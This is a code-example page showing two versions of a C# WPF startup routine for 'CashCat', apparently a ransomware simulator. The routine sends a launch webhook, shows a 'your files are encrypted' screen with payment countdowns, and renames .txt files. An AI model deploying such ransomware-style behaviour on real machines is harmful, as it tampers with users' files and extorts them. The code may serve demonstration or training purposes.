Exemplo n.º 1
0
        public MainWindow()
        {
            InitializeComponent();
            fileOperations = new FileSystemOperation();

            fileOperations.WriteLog("CashCat Started!");


            fileOperations.WriteLog("CashCat Searching for Config!");

            //Load Config JSON
            string            currentPath   = AppDomain.CurrentDomain.BaseDirectory;
            ConfigurationFile CurrentConfig = new ConfigurationFile();

            CurrentConfig = CurrentConfig.ConfigurationFileSetup(currentPath);

            if (CurrentConfig != null)
            {
                fileOperations.WriteLog("CashCat found a Config!");

                //If Webhookenabled is true..
                if (CurrentConfig.webHookEnabled)
                {
                    fileOperations.WriteLog("Executing Launch WebHook!");
                    try
                    {
                        //Trigger Webhook
                        string webHookUri = CurrentConfig.webHookURI;

                        var client = new RestClient(webHookUri);

                        var request = new RestRequest();

                        // execute the request
                        IRestResponse response = client.Execute(request);
                    }
                    catch
                    {
                        // Something went wrong with the webhook
                    }
                }

                if (CurrentConfig.catMode)
                {
                    // Enable Cat Mode
                    fileOperations.WriteLog("ENABLING CAT MODE!");
                    lblMainLabel.Content         = "CashCat has encrypted your files!";
                    LockerIcon.Visibility        = Visibility.Collapsed;
                    maingrid.Background          = new SolidColorBrush(Colors.Transparent);
                    CashCatBackground.Visibility = Visibility.Visible;
                }
            }
            else
            {
                fileOperations.WriteLog("CashCat DID NOT FIND a Config - using default settings!");
            }



            fileOperations.WriteLog("Starting File Rename Operations!");
            //lock it Up!

            fileOperations.RenameTXTFiles(currentPath);

            fileOperations.WriteLog("File Rename Operations COMPLETED!");
        }
        public MainWindow()
        {
            InitializeComponent();


            ShowHideCountDowns(false);


            //Time SEtup
            txtblk_fileLostTime.Text     = lockTime.ToString();
            txtblk_paymentRaiseTime.Text = priceTime.ToString();

            System.Windows.Threading.DispatcherTimer CountDownTimer = new System.Windows.Threading.DispatcherTimer();
            CountDownTimer.Tick    += new EventHandler(dispatcherTimer_Tick);
            CountDownTimer.Interval = new TimeSpan(0, 0, 1);
            CountDownTimer.Start();


            fileOperations = new FileSystemOperation();

            fileOperations.WriteLog("CashCat Started!");
            fileOperations.WriteLog("CashCat Searching for Config!");

            //Load Config JSON
            currentPath = AppDomain.CurrentDomain.BaseDirectory;
            ConfigurationFile CurrentConfig = new ConfigurationFile();

            //CurrentConfig = CurrentConfig.ConfigurationFileSetup(currentPath);

            if (CurrentConfig != null)
            {
                fileOperations.WriteLog("CashCat found a Config!");

                //If Webhookenabled is true..
                if (CurrentConfig.webHookEnabled)
                {
                    fileOperations.WriteLog("Executing Launch WebHook!");
                    try
                    {
                        //Trigger Webhook
                        string webHookUri = CurrentConfig.webHookURI;

                        //  var client = new RestClient(webHookUri);

                        // var request = new RestRequest();

                        // execute the request
                        // IRestResponse response = client.Execute(request);
                    }
                    catch
                    {
                        // Something went wrong with the webhook
                    }
                }

                if (CurrentConfig.catMode)
                {
                    // Enable Cat Mode
                    fileOperations.WriteLog("ENABLING CAT MODE!");
                    lblMainLabel.Content         = "CashCat has encrypted your files!";
                    LockerIcon.Visibility        = Visibility.Collapsed;
                    maingrid.Background          = new SolidColorBrush(Colors.Transparent);
                    CashCatBackground.Visibility = Visibility.Visible;
                }
            }
            else
            {
                fileOperations.WriteLog("CashCat DID NOT FIND a Config - using default settings!");
            }
        }